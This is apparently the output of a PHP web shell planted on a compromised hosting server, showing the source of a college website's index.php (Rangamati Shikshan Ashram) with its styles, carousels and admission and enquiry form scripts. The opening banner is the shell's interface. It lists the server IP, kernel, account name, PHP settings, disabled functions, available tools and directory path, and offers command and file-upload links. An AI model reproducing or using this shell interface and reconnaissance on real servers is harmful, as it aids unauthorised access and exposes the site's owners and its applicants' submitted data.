|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/rangamaticollege.org/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include_once('config/config.php');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta name="google-adsense-account" content="ca-pub-7720530971022796">
<meta name="google-adsense-account" content="ca-pub-5638268699630326">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title> Rangamati Shikshan Ashram</title>
<meta name="google-site-verification" content="l77o6S_wFvzPEH8JJuJ_E3HIGPd_8FABIP21iVGs2uk" />
<meta name="description"
content="." />
<meta name="keywords"
content=" " />
<meta name="Author" content=" " />
<meta name="robots" content="INDEX, FOLLOW" />
<link rel="canonical" href="" />
<link rel="dns-prefetch" href="">
<meta property="og:locale" content="en_US" />
<meta property="og:type" content="Education" />
<meta property="og:title"
content=" ">
<meta property="og:description"
content=" .">
<meta property="og:url" content="" />
<meta property="og:site_name" content=" " />
<meta name="dc.title"
content=""
content=" ">
<meta name="dc.keywords"
content=" ">
<meta name="dc.language" content="En">
<meta name="dc.source" content="">
<meta name="dc.subject" content="University, Education">
<meta name="dc.publisher" content="">
<link rel="shortcut icon" href="public/new-assets/favicon/rangamati-favicon.png" type="image/x-icon">
<link rel="stylesheet" href="public/new-assets/css/style.css">
<link rel="stylesheet" href="public/new-assets/asset/new-style.css">
<link rel="stylesheet" href="public/new-assets/css/animate.min.css">
<link rel="stylesheet" href="public/new-assets/css/magnific-popup.min.css">
<link rel="stylesheet" href="public/new-assets/css/owl.carousel.min.css">
<link rel="stylesheet" href="public/new-assets/css/jquery.fancybox.min.css">
<link href="https://cdn.jsdelivr.net/npm/lightbox2@2.11.3/dist/css/lightbox.min.css" rel="stylesheet">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.7.2/css/all.min.css" integrity="sha512-Evv84Mr4kqVGRNSgIGL/F/aIDqQb7xQ2vcrdIwxfjThSH8CSR7PBEakCr51Ck+w+/U6swU2Im1vVX0SVk9ABhg==" crossorigin="anonymous" referrerpolicy="no-referrer" />
<!-- <link rel="stylesheet" type="text/css" href="assets/css/gallery-style.css" /> -->
<!-- <link rel="stylesheet" href="public/new-assets/css/timercss.css"> -->
<!-- <link rel="stylesheet" href="./uikit/css/uikit.min.css" /> -->
<!-- <script src="./uikit/js/uikit.min.js"></script>
<script src="./uikit/js/uikit-icons.min.js"></script>
-->
<!-- Google Tag Manager -->
<!-- End Google Tag Manager -->
<style>
.navbar .navbar-nav .nav-link {
color:white;
}
.b-inner {
display: none !important;
}
.b-home {
display: block !important;
}
.heroSlider .owl-nav button {
bottom: auto;
top: 50%;
left: 15px;
transform: translateY(-50%);
opacity: 0;
}
.heroSlider .owl-nav button.owl-next {
left: auto;
right: 15px;
}
.heroSlider:hover .owl-nav button {
opacity: 1;
}
.notification {
position: fixed;
right: 27px;
bottom: 98px;
z-index: 12;
}
.bell-icon {
text-shadow: 0px 0px 20px #000;
position: relative;
top: -2px;
}
.bell-icon:hover {
cursor: pointer;
}
.bell-icon span {
width: 8px;
height: 8px;
position: absolute;
top: 0;
right: 0;
border-radius: 50%;
background: #f8a602;
}
.notifi-listing {
position: absolute;
right: 45px;
bottom: 3px;
width: 300px;
-webkit-transition: all .5s ease-in-out;
-moz-transition: all .5s ease-in-out;
transition: all .5s ease-in-out;
}
.notifi-listing.close-swipe {
transform: scale(0);
transform-origin: bottom right;
-webkit-transition: all .5s ease-in-out;
-moz-transition: all .5s ease-in-out;
transition: all .5s ease-in-out;
}
.notifi-listing ul {
margin-bottom: 0;
}
.notifi-listing ul li {
list-style-type: none;
display: block;
}
.notifi-listing ul li a {
background: rgba(255, 255, 255, .87);
border-radius: 20px 20px 0;
padding: 15px;
line-height: 16px;
display: block;
margin-bottom: 5px;
box-shadow: 7px 5px 10px rgba(0, 0, 0, .1);
position: relative;
}
.notifi-listing ul li:last-child a::after {
width: 0;
height: 0;
border-top: 15px solid transparent;
border-bottom: 0 solid transparent;
border-left: 15px solid rgba(255, 255, 255, .85);
content: "";
position: absolute;
right: -15px;
bottom: 0;
}
.noti-title {
font-size: 14px;
color: #111;
font-weight: 600;
margin-bottom: 3px;
}
.noti-para {
font-size: 12px;
color: #000;
margin-bottom: 5px;
line-height: 14px;
padding-right: 0;
}
.noti-para strong {
font-weight: 600;
font-size: 13px;
line-height: 13px;
margin: 3px 0;
display: block;
}
.noti-link {
font-size: 14px;
color: #fa183e;
font-weight: 600;
margin-top: 10px;
display: inline-block;
border-radius: 50px;
border: 1px solid;
padding: 8px 10px;
transition: all .3s ease-in-out;
}
.notifi-listing:hover .noti-link {
background: #fa183e;
color: #fff;
}
.cusat-logo {
position: absolute;
bottom: 15px;
right: 15px;
max-width: 70px;
display: none;
}
.b-home {
display: flex !important;
}
.objective-section {
padding-top: 50px;
padding-bottom: 90px;
}
.owl-dots{
display: none!important;
}
.ranking-section{
padding: 0;
}
@media only screen and (min-width: 1200px) {
.heroSlider__item img {
padding-top: 90px;
}
}
@media only screen and (min-width: 1400px) {
.heroSlider__item img {
padding-top: 96px;
}
}
@media only screen and (min-width: 768px) {
.objective-section {
margin-top: -24px;
}
.about-seciton .about-seciton__content-right {
margin-top: 20px;
}
}
@media only screen and (max-width: 1399px) {
.about-seciton {
margin-top: -90px;
}
}
@media only screen and (max-width: 767px) {
.notification {
bottom: 80px;
}
.notifi-listing {
transform: scale(1);
}
.notifi-listing.close-swipe {
transform: scale(0);
}
}
@media only screen and (max-width: 575px) {
.about-seciton {
margin-top: -50px;
}
.notification {
right: 6px;
}
.objective-section {
padding-top: 40px;
}
}
@media only screen and (max-width: 320px) {
.notification {
right: 24px;
}
}
.allNotification
{
display:block;
}
</style>
<style>
.form {
display: flex;
flex-direction: column;
gap: 10px;
max-width: 430px;
background-color: #fff;
padding: 20px;
margin:20px 0px;
border-radius: 20px;
position: relative;
box-shadow: 0px 5px 10px rgba(0, 0, 0, 0.1);
}
.title {
font-size: 28px;
color: #740325;
font-weight: 600;
letter-spacing: -1px;
position: relative;
display: flex;
align-items: center;
padding-left: 30px;
}
.title::before,.title::after {
position: absolute;
content: "";
height: 16px;
width: 16px;
border-radius: 50%;
left: 0px;
background-color: #031674;
}
.title::before {
width: 18px;
height: 18px;
background-color: #031674;
}
.title::after {
width: 18px;
height: 18px;
animation: pulse 1s linear infinite;
}
.message, .signin {
color: rgba(88, 87, 87, 0.822);
font-size: 14px;
}
.signin {
text-align: center;
}
.signin a {
color:#740325;
}
.signin a:hover {
text-decoration: underline #740325;
}
.flex {
display: flex;
width: 100%;
gap: 6px;
}
.form label {
position: relative;
}
.form label .input {
width: 100%;
padding: 10px 10px 20px 10px;
outline: 0;
border: 1px solid rgba(105, 105, 105, 0.397);
border-radius: 10px;
}
.form label .input + span {
position: absolute;
left: 10px;
top: 15px;
color: grey;
font-size: 0.9em;
cursor: text;
transition: 0.3s ease;
}
.form label .input:placeholder-shown + span {
top: 15px;
font-size: 0.9em;
}
.form label .input:focus + span,.form label .input:valid + span {
top: 0px;
font-size: 0.7em;
font-weight: 600;
}
.form label .input:valid + span {
color: green;
}
.submit {
border: none;
outline: none;
background-color: #740325;
padding: 10px;
border-radius: 10px;
color: #fff;
font-size: 16px;
transform: .3s ease;
}
.submit:hover {
background-color: #f4bc2f;
cursor: pointer;
color:#740325;
}
.testimonial-section {
/* background-image: url(./public/new-assets/img/contact.png); */
background-size: cover;
background-position: center;
}
@keyframes pulse {
from {
transform: scale(0.9);
opacity: 1;
}
to {
transform: scale(1.8);
opacity: 0;
}
}
</style>
<style>
.uk-inline {
position: relative;
display: inline-block;
overflow: hidden;
border: 2px solid transparent; /* Default border */
box-shadow: 0 4px 8px rgb(78 40 16 / 68%);
transition: box-shadow 0.3s ease-in-out, border-color 0.3s ease-in-out;
}
.uk-inline img {
transition: transform 0.3s ease-in-out, filter 0.3s ease-in-out;
}
.uk-inline:hover {
box-shadow: 0 8px 15px rgba(0, 0, 0, 0.2); /* Shadow on hover */
border-color:#ffc746; /* Add border color on hover */
}
.uk-inline:hover img {
transform: scale(1.1); /* Slight zoom effect */
filter: brightness(0.7); /* Dim the image */
}
.uk-inline::after {
content: attr(data-caption); /* Use the data-caption as the text */
position: absolute;
bottom: 0;
left: 0;
width: 100%;
background:#e32845;
color: black;
text-align: center;
padding: 10px;
opacity: 0;
border-radius: 50px 50px 0px 0px;
transform: translateY(100%);
transition: transform 0.3s ease-in-out, opacity 0.3s ease-in-out;
}
.uk-inline:hover::after {
opacity: 1;
transform: translateY(0);
}
</style>
<style>
/*.contact-transform-logos {
transform: translate(0, -100%);
}
.logo-flip {
height: 65px;
overflow: hidden;
}
.logo-flip img {
transition: all .3s ease-in-out;
}*/
.navbar.white .b-home {
display: flex !important;
}
/****.btn.btn-lg.cta-btn.mt-4.ms-xl-1.ms-xxl-2{display: none;} Temporary Hide ****/
.navbar .header-btn {
border-radius: 50px;
padding: 10px 25px;
margin-top: 4px;
}
.call-btn {
background-color: #740324;
font-size: 14px;
font-weight: 600;
letter-spacing: 1px;
color: #fff;
position: absolute;
top: 130px;
right: 0;
padding: 10px 20px;
border-radius: 50px 0 0 50px;
opacity: 0;
animation: slideIn 1s forwards 3s;
}
@keyframes slideIn {
0% {
transform: translateX(900px);
}
100% {
transform: translateX(0);
opacity: 1;
}
}
.call-btn:hover {
color: #111;
}
.helpline span {
font-size: 10px;
font-weight: 300;
margin-top: 9px;
line-height: 7px;
}
@media (max-width: 1199px) {
.call-btn {
position: relative;
top: 20px;
border-radius: 0;
}
.navbar .b-home {
display: flex!important;
}
.navbar .brand-logo {
border-right: 0;
}
}
</style>
<style>
.contact-form {
position: absolute;
top: 20%;
right: 100px;
width: 400px;
background: rgba(255, 255, 255, 0.9);
padding: 20px;
border-radius: 10px;
box-shadow: 0 8px 12px rgba(0, 0, 0, 0.2);
z-index: 2;
}
.contact-form-header {
/* background: linear-gradient(45deg, #e32845, rgb(238, 236, 236)); */
padding: 10px;
margin-bottom: 20px;
border-radius: 8px 8px 0 0; /* Rounded top corners */
text-align: center; /* Center-align the text */
color: #fff; /* White text for contrast */
/* box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1); */
}
.header-title {
font-size: 24px; /* Larger font size for the title */
font-weight: bold;
margin: 0;
color:#111d5e;
}
.header-subtitle {
font-size: 14px; /* Smaller font for subtitle */
margin: 5px 0 0;
color:#111d5e; /* Softer white for the subtitle */
}
.form-row {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 15px;
}
.form-row .form-group {
flex: 1;
}
.contact-form .btn {
width: 100%;
background-color:#e32845;
color: white;
font-weight: bold;
border: none;
padding: 10px;
border-radius: 5px;
transition: background 0.3s;
}
.contact-form .btn:hover {
background-color:#111d5e;
}
/* Responsiveness */
@media (max-width: 767px) {
.contact-form {
position: relative;
width: 350px;
margin: 20px auto;
/* padding: 15px; */
border-radius: 8px;
margin-top: -230px;
right: 0px;
}
.whats-float{
margin-bottom: -30px;
font-size: 15px;
width: 170px;
}
.whats-float i{
font-size:30px;
}
.form-row {
grid-template-columns: 1fr;
}
}
</style>
</head>
<body>
<div class="black-bg"></div>
<div class="heroBanner">
<?php
include_once('includes/common/header_menu.php');
include_once('includes/pages/pages.php');
include_once('includes/common/footer.php');
?>
<a id="button"></a>
<div class="whats-float">
<a href="https://api.whatsapp.com/send?phone=+919091526251&text=Hi"
target="_blank">
<i class="fa fa-whatsapp"></i><span>Chat now</span>
</a>
</div>
<style>
#button {
display: inline-block;
background-color:#e32845;
width: 40px;
height: 40px;
border-radius: 10px;
position: fixed;
bottom: 20px;
right: 20px;
opacity: 0;
visibility: hidden;
z-index: 1000;
background-image: url('./public/new-assets/img/top-arrow.svg');
background-repeat: no-repeat;
background-size: 25px;
background-position: center;
cursor: pointer;
}
#button.show {
opacity: 1;
visibility: visible;
}
@media only screen and (min-width: 1200px) and (max-width: 1399px){
.navbar .brand-logo .cu-logo{
width: 240px;
}
.navbar .brand-logo .odl-logo{
width: 110px;
}
.dd-menu .megaMenu{
top: 89px
}
}
@media only screen and (max-width: 767px){
.programBanner {
padding-bottom: 30px;
min-height: inherit;
}
}
</style>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="public/assets/js/jquery-migrate-3.4.0.min.js"></script>
<script src="public/node_modules/bootstrap/dist/js/bootstrap.bundle.js"></script>
<!-- <script type="text/javascript" src="assets/js/modernizr.custom.26633.js"></script> -->
<script type="text/javascript" src="public/assets/js/jquery.gridrotator.js"></script>
<script type="text/javascript" src="public/new-assets/js/countdown.min.js"></script>
<script type="text/javascript" src="public/new-assets/js/counter-up.js"></script>
<script type="text/javascript" src="public/new-assets/js/jquery.appear.min.js"></script>
<script type="text/javascript" src="public/new-assets/js/jquery.easing.min.js"></script>
<script type="text/javascript" src="public/new-assets/js/jquery.fancybox.min.js"></script>
<script type="text/javascript" src="public/new-assets/js/modernizr.min.js"></script>
<script type="text/javascript" src="public/new-assets/js/wow.min.js"></script>
<script src="public/new-assets/js/owl.carousel.min.js"></script>
<script src="public/new-assets/js/imagesloaded.pkgd.min.js"></script>
<script src="public/new-assets/js/isotope.pkgd.min.js"></script>
<script src="public/new-assets/js/main.js"></script>
<!-- jQuery Validation Plugin -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.21.0/jquery.validate.min.js" integrity="sha512-KFHXdr2oObHKI9w4Hv1XPKc898mE4kgYx58oqsc/JqqdLMDI4YjOLzom+EMlW8HFUd0QfjfAvxSL6sEq/a42fQ==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-validate/1.21.0/additional-methods.min.js" integrity="sha512-owaCKNpctt4R4oShUTTraMPFKQWG9UdWTtG6GRzBjFV4VypcFi6+M3yc4Jk85s3ioQmkYWJbUl1b2b2r41RTjA==" crossorigin="anonymous" referrerpolicy="no-referrer"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.js"></script>
<script>
(function () {
'use strict'
document.querySelector('#navbarSideCollapse').addEventListener('click', function () {
document.querySelector('.offcanvas-collapse').classList.toggle('open')
})
})()
$('.heroSlider').owlCarousel({
loop:true,
margin:0,
nav:true,
smartSpeed: 2000,
autoplay: true,
autoplayTimeout: 15000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="">', '<img src="public/new-assets/img/angle-right.svg" alt="">' ],
});
$('.objective-section__slider').owlCarousel({
loop:true,
nav:true,
smartSpeed: 900,
autoplay: 5000,
items:3,
margin:20,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="">', '<img src="public/new-assets/img/angle-right.svg" alt="">' ],
responsive : {
0 : {
items:1,
},
480 : {
items:1,
},
768 : {
items:2,
},
1200 : {
items:3,
},
}
});
$('.testimonial-carousel').owlCarousel({
animateOut: 'slideOutDown',
animateIn: 'zoomIn',
loop:true,
margin:0,
nav:true,
smartSpeed: 900,
autoplay: 7000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="">', '<img src="public/new-assets/img/angle-right.svg" alt="">' ]
});
$('.education-section__slider').owlCarousel({
loop:false,
margin:0,
nav:false,
smartSpeed: 900,
autoplay: 7000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="">', '<img src="public/new-assets/img/angle-right.svg" alt="">' ]
});
$('.luminaries-section__slider').owlCarousel({
loop:true,
margin:0,
nav:true,
smartSpeed: 900,
autoplay: 7000,
items:1,
navText: [ '<img src="public/new-assets/img/angle-left.svg" alt="">', '<img src="public/new-assets/img/angle-right.svg" alt="">' ]
});
$(document).ready(function() {
var previousScroll = 0;
$(window).scroll(function() {
var currentScroll = $(this).scrollTop();
if (currentScroll > 0 && currentScroll < $(document).height() - $(window).height()) {
if (currentScroll > previousScroll) {
window.setTimeout(hideNav, 100);
} else {
window.setTimeout(showNav, 100);
}
previousScroll = currentScroll;
}
});
function hideNav() {
$(".navbar").removeClass("is-visible").addClass("is-hidden");
}
function showNav() {
$(".navbar").removeClass("is-hidden").addClass("is-visible");
}
$(window).scroll(function() {
if($(this).scrollTop() > 100) {
$('.navbar').addClass('white');
} else {
$('.navbar').removeClass('white');
}
});
});
/* mega menu dropdown */
$(".dd-menu").hover(function() {
var isHovered = $(this).is(":hover");
if (isHovered) {
$(this).children(".megaMenu").stop().fadeIn(300);
$(".black-bg").fadeIn(100);
} else {
$(this).children(".megaMenu").stop().fadeOut(300);
$(".black-bg").fadeOut(100);
}
});
/* breadcrumb remove php extension */
$('.breadcrumb li a').text(function () {
return $(this).text().replace(/.php/g, '');
});
var btn = $('#button');
$(window).scroll(function() {
if ($(window).scrollTop() > 300) {
btn.addClass('show');
} else {
btn.removeClass('show');
}
});
btn.on('click', function(e) {
e.preventDefault();
$('html, body').animate({scrollTop:0}, '300');
});
/*setInterval(function(){
$(".logo-flip img").toggleClass("contact-transform-logos");
}, 4000); */
$('#ri-grid').gridrotator({
rows: 2,
columns: 6,
maxStep: 8,
interval: 2000,
w1024: {
rows: 2,
columns: 6
},
w768: {
rows: 4,
columns: 3
},
w480: {
rows: 5,
columns: 3
},
w414: {
rows: 4,
columns: 2
},
w240: {
rows: 7,
columns: 3
}
});
</script>
<script>
$(".bell-icon").click(function () {
$(".notifi-listing").toggleClass('close-swipe');
});
//document.getElementById("notificationmainid1").style.display = "block";
</script>
<script>
const marquee = document.querySelector('.marquee-notices');
marquee.addEventListener('mouseover', function() {
this.stop(); // Stop the marquee
});
marquee.addEventListener('mouseout', function() {
this.start(); // Restart the marquee
});
</script>
<script>
document.addEventListener("DOMContentLoaded", function() {
// Get all images that are inside the .open-lightbox link
const lightboxLinks = document.querySelectorAll('.open-lightbox');
// Create the modal and append it to the body
const modal = document.createElement('div');
modal.id = 'lightbox-modal';
modal.innerHTML = `<span id="close-modal">×</span><img src="" alt="Lightbox Image">`;
document.body.appendChild(modal);
// Get the modal elements
const modalImg = modal.querySelector('img');
const closeModal = document.getElementById('close-modal');
// Open the modal when an image is clicked
lightboxLinks.forEach(link => {
link.addEventListener('click', function(event) {
event.preventDefault(); // Prevent the link from navigating
const imgSrc = link.getAttribute('href');
modalImg.src = imgSrc; // Set the modal image src
modal.style.display = 'flex'; // Show the modal
});
});
// Close the modal when the close button is clicked
closeModal.addEventListener('click', function() {
modal.style.display = 'none'; // Hide the modal
});
// Close the modal if the background is clicked
modal.addEventListener('click', function(event) {
if (event.target === modal) {
modal.style.display = 'none'; // Hide the modal
}
});
});
</script>
<script>
$(document).ready(function(){
$(".owl-carousel").owlCarousel({
loop: true,
margin: 10,
nav: true,
dots: false,
autoplay: true,
autoplayTimeout: 3000,
responsive: {
0: {
items: 1,
},
600: {
items: 2,
},
1000: {
items: 4,
}
}
});
});
</script>
<script>
document.getElementById('play-button').addEventListener('click', function() {
// Hide the thumbnail video and play button
document.getElementById('video-thumbnail').style.display = 'none';
document.getElementById('play-button').style.display = 'none';
// Show the full video and start playing it
var videoPlayer = document.getElementById('video-player');
videoPlayer.style.display = 'block';
videoPlayer.play();
});
</script>
<script>
$(document).ready(function () {
// Configure Toastr (Optional Custom Styling)
toastr.options = {
closeButton: true,
progressBar: true,
positionClass: "toast-top-right",
showDuration: "300",
hideDuration: "1000",
timeOut: "5000",
extendedTimeOut: "1000",
showEasing: "swing",
hideEasing: "linear",
showMethod: "fadeIn",
hideMethod: "fadeOut"
};
// Admission Form Submission
$("#admissionForm").validate({
rules: {
name: { required: true, minlength: 2 },
email: { required: true, email: true },
phone: { required: true, minlength: 10, maxlength: 15 },
course: { required: true },
address: { required: true, minlength: 10 },
},
messages: {
name: "Please enter your name (at least 2 characters).",
email: "Please enter a valid email address.",
phone: "Please enter a valid phone number (10-15 digits).",
course: "Please select a course.",
address: "Please enter your address (at least 10 characters)."
},
submitHandler: function (form) {
event.preventDefault();
var formData = new FormData($(form)[0]);
formData.append('mail_type', 'admission_form');
$.ajax({
type: 'POST',
url: 'mail.php',
dataType: 'json',
data: formData,
processData: false,
contentType: false,
beforeSend: function () {
$('.send1').prop('disabled', true).text('Sending...');
},
success: function (response) {
if (response.status) {
toastr.success(response.message, "Success!");
$("#admissionForm")[0].reset();
} else {
toastr.error(response.message, "Error!");
}
},
error: function () {
toastr.error("An error occurred while submitting the form. Please try again.", "Error!");
},
complete: function () {
$('.send1').prop('disabled', false).text('Send Message');
},
});
},
});
// Enquiry Form Submission
$("#enquiryForm").validate({
rules: {
name: { required: true, minlength: 2 },
phone: { required: true, minlength: 10, maxlength: 15 },
email: { required: true, email: true },
course: { required: true },
dob: { required: true, date: true },
gender: { required: true },
qualification: { required: true },
address: { required: true, minlength: 10 },
},
messages: {
name: "Please enter your name (at least 2 characters).",
phone: "Please enter a valid phone number (10-15 digits).",
email: "Please enter a valid email address.",
course: "Please select a course.",
dob: "Please enter a valid date of birth.",
gender: "Please select your gender.",
qualification: "Please enter your qualification.",
address: "Please enter your address (at least 10 characters).",
},
submitHandler: function (form) {
event.preventDefault();
var formData = new FormData($(form)[0]);
formData.append('mail_type', 'enquiry_form');
$.ajax({
type: 'POST',
url: 'mail.php',
dataType: 'json',
data: formData,
processData: false,
contentType: false,
beforeSend: function () {
$('.send').prop('disabled', true).text('Sending...');
},
success: function (response) {
if (response.status) {
toastr.success(response.message, "Success!");
$("#enquiryForm")[0].reset();
} else {
toastr.error(response.message, "Error!");
}
},
error: function () {
toastr.error("An error occurred while submitting the form. Please try again.", "Error!");
},
complete: function () {
$('.send').prop('disabled', false).text('Submit');
},
});
},
});
});
</script>
<script>
function checkFormCompletion() {
const name = document.getElementById('name').value.trim();
const phone = document.getElementById('phone').value.trim();
const email = document.getElementById('email').value.trim();
const course = document.getElementById('course').value;
const dob = document.getElementById('dob').value.trim();
const gender = document.getElementById('gender').value;
const qualification = document.getElementById('qualification').value.trim();
// const address = document.getElementById('address').value.trim();
const captchaResponse = grecaptcha.getResponse();
const submitButton = document.getElementById('submit-button');
if (name && phone && email && course && dob && gender && qualification && address && captchaResponse.length > 0) {
submitButton.disabled = false;
} else {
submitButton.disabled = true;
}
}
function enableSubmitButton() {
checkFormCompletion();
}
document.getElementById('enquiryForm').addEventListener('input', checkFormCompletion);
document.getElementById('enquiryForm').addEventListener('submit', function(event) {
if (document.getElementById('submit-button').disabled) {
event.preventDefault(); // Prevent form submission if CAPTCHA is not verified
} else {
grecaptcha.reset();
document.getElementById('submit-button').disabled = true;
}
});
</script>
<script src="https://www.google.com/recaptcha/api.js" async defer></script>
</body>
</html>